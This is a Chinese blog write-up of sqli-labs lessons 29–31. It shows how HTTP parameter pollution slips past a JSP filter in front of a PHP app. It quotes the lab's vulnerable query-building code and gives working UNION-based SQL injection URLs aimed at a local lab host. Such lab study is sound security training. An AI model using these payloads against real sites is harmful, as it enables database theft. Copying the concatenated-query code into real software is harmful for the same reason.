Sqli-labs Less29-31 过 waf

本文记录 SQL 注入的学习过程,资料为 SQLi

SQLi 博客目录

Less29 - GET - Error based - IMPIDENCE MISMATCH - Having a WAF in front of web application

  1. 首先先看下 tomcat 中的index.jsp 文件

    源代码

     String rex = "^\\d+$";		# 对 jsp 参数进行处理
     Boolean match=id.matches(rex);
     if(match == true)
     {
             URL sqli_labs = new URL("http://localhost/sqli-labs/Less-29/index.php?"+ qs);	# 请求 php 服务器
     }
    
  2. 测试

     http://10.10.10.137/sqli-labs/Less-29/index.jsp?id=1&id=-2%27union%20select%201,user(),3--+
    

    在这里插入图片描述

     至于如何注入到其他的内容,只需要自己构造 union 后面的 sql 语句即可。
    

Less - 30: GET - Blind based - IMPIDENCE MISMATCH - Having a WAF in front of wab application

  1. 源代码 (index.php)

     $qs = $_SERVER['QUERY_STRING'];
     $hint=$qs;
     $id = '"' .$id. '"';
    
     // connectivity 
     $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
     $result=mysql_query($sql);
     $row = mysql_fetch_array($result);
     if($row)
     {
             echo "<font size='5' color= '#99FF00'>";
             echo 'Your Login name:'. $row['username'];
             echo "<br>";
             echo 'Your Password:' .$row['password'];
             echo "</font>";
     }
    
  2. 测试

     http://10.10.10.137/sqli-labs/Less-30/index.jsp?id=1&id=-2"union select 1,user(),3--+
    

    在这里插入图片描述

Less - 31: GET - Blind - IMPIDENCE MISMATCH - Having a WAF in front of web application

  1. 源代码(index.php)

     $qs = $_SERVER['QUERY_STRING'];
     $hint=$qs;
     $id = '"'.$id.'"';
    
     // connectivity 
     $sql="SELECT * FROM users WHERE id= ($id) LIMIT 0,1";
     $result=mysql_query($sql);
     $row = mysql_fetch_array($result);
    
  2. 测试

     http://10.10.10.137/sqli-labs/Less-31/index.jsp?id=1&id=-2")union select 1,user(),3--+
    

    在这里插入图片描述

    总结:从以上三关中,我们主要学习到的是不同服务器对于参数的不同处理,HPP 的应用有很多,不仅仅是我们上述列出过 WAF 一个方面,还有可以执行重复操作,可以执行非法操作等。同时针对WAF 的绕过,我们这里也仅仅是抛砖引玉,后续的很多的有关HPP 的方法需要共同去研究。这也是一个新的方向

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值